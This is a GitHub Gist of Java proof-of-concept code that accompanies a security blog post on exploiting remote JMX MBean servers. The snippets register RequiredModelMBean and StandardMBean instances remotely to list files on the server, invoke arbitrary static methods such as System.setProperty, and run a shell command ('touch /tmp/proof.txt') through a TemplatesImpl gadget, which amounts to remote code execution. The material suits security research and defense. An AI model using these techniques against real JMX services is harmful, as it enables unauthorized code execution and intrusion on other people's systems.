Last active
March 23, 2023 10:30
-
-
Save mwulftange/05fe54f7ba56a475ebd3d0b14b3cd282 to your computer and use it in GitHub Desktop.
JMX Exploitation Revisited (https://codewhitesec.blogspot.com/2023/03/jmx-exploitation-revisited.html)
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
static ModelMBeanOperationInfo createModelMBeanOperationInfo(String declaringClass, String methodName, MBeanParameterInfo[] signature) { | |
Map<String, Object> fields = new HashMap<String, Object>() { | |
{ | |
put("name", methodName); | |
put("displayName", methodName); | |
put("class", declaringClass); | |
put("role", "operation"); | |
put("descriptorType", "operation"); | |
} | |
}; | |
Descriptor descriptor = new ImmutableDescriptor(fields.keySet().toArray(new String[0]), fields.values().toArray()); | |
return new ModelMBeanOperationInfo( | |
methodName, | |
null, | |
signature, | |
declaringClass, | |
MBeanOperationInfo.UNKNOWN, | |
descriptor | |
); | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// connect to MBean server | |
String url = "service:jmx:rmi:///jndi/rmi://127.0.0.1:12345/jmxrmi"; | |
JMXServiceURL serviceURL = new JMXServiceURL(url); | |
Map env = new Properties(); | |
MBeanServerConnection connection = JMXConnectorFactory.connect(serviceURL, env).getMBeanServerConnection(); | |
// create ObjectName for new MBean | |
ObjectName objectName = new ObjectName("Test:type=test"); | |
try { | |
// create local File object | |
Object file = new File("."); | |
// get File.listFiles() method | |
Method method = File.class.getMethod("listFiles", new Class[0]); | |
// create ModelMBeanInfo | |
ModelMBeanOperationInfo[] ops = new ModelMBeanOperationInfo[] { | |
// ModelMBean.setManagedResource(Object, String) | |
new ModelMBeanOperationInfo("setManagedResource", | |
ModelMBean.class.getMethod("setManagedResource", | |
new Class[] { Object.class, String.class })), | |
// File.listFiles() | |
new ModelMBeanOperationInfo("listFiles", method) | |
}; | |
ModelMBeanInfoSupport model = new ModelMBeanInfoSupport("test", "test", null, null, ops, null); | |
// create RequiredModelMBean | |
// calls RequiredModelMBean(ModelMBeanInfo) with model | |
String className = RequiredModelMBean.class.getName(); | |
String[] ctorArgTypes = new String[] { ModelMBeanInfo.class.getName() }; | |
Object[] ctorArgs = new Object[] { model }; | |
connection.createMBean(className, objectName, ctorArgs, ctorArgTypes); | |
// set the managed resource to the serializable File object | |
connection.invoke( | |
objectName, | |
"setManagedResource", | |
new Object[] { file, "objectReference" }, | |
new String[] { Object.class.getName(), String.class.getName() } | |
); | |
// invoke listFiles() on remote File via RequiredModelMBean | |
File[] files = (File[]) connection.invoke(objectName, "listFiles", new Object[0], new String[0]); | |
for (File f : files) { | |
System.out.println(f); | |
} | |
} finally { | |
try { | |
connection.unregisterMBean(objectName); | |
} catch (InstanceNotFoundException e) { | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// connect to MBean server | |
String url = "service:jmx:rmi:///jndi/rmi://127.0.0.1:12345/jmxrmi"; | |
JMXServiceURL serviceURL = new JMXServiceURL(url); | |
Map env = new Properties(); | |
MBeanServerConnection connection = JMXConnectorFactory.connect(serviceURL, env).getMBeanServerConnection(); | |
// create ObjectName for new MBean | |
ObjectName objectName = new ObjectName("Test:type=test"); | |
try { | |
// create TemplatesImpl (not detailed here) | |
Object templatesImpl = Gadgets.createTemplatesImpl("touch /tmp/proof.txt"); | |
// create StandardMBean on MBean server | |
// calls `StandardMBean(T, Class<T>)` constructor with `templatesImpl` and `Templates.class` | |
String className = StandardMBean.class.getName(); | |
String[] ctorArgTypes = new String[] { Object.class.getName(), Class.class.getName() }; | |
Object[] ctorArgs = new Object[] { templatesImpl, Templates.class }; | |
connection.createMBean(className, objectName, ctorArgs, ctorArgTypes); | |
// any of the following works | |
// invokes getOuputProperties() indirectly via attribute getter | |
connection.getAttribute(objectName, "OutputProperties"); | |
// invoke getOutputProperties() directly | |
connection.invoke(objectName, "getOutputProperties", new Object[0], new String[0]); | |
// invoke newTransformer() directly | |
connection.invoke(objectName, "newTransformer", new Object[0], new String[0]); | |
} finally { | |
try { | |
connection.unregisterMBean(objectName); | |
} catch (InstanceNotFoundException e) { | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// set managed resource with dummy value | |
connection.invoke( | |
objectName, | |
"setManagedResource", | |
new Object[] { "", "objectReference" }, | |
new String[] { Object.class.getName(), String.class.getName() } | |
); | |
// invoke static method `java.lang.System.setProperty("foo", "bar")` | |
connection.invoke( | |
objectName, | |
"setProperty", | |
new Object[] { "foo", "bar" }, | |
new String[] { String.class.getName(), String.class.getName() } | |
); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// create ModelMBeanOperationInfo for java.lang.System.setProperty(String, String) | |
createModelMBeanOperationInfo( | |
"java.lang.System", | |
"setProperty", | |
new MBeanParameterInfo[] { | |
new MBeanParameterInfo(null, String.class.getName(), null), | |
new MBeanParameterInfo(null, String.class.getName(), null), | |
} | |
) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment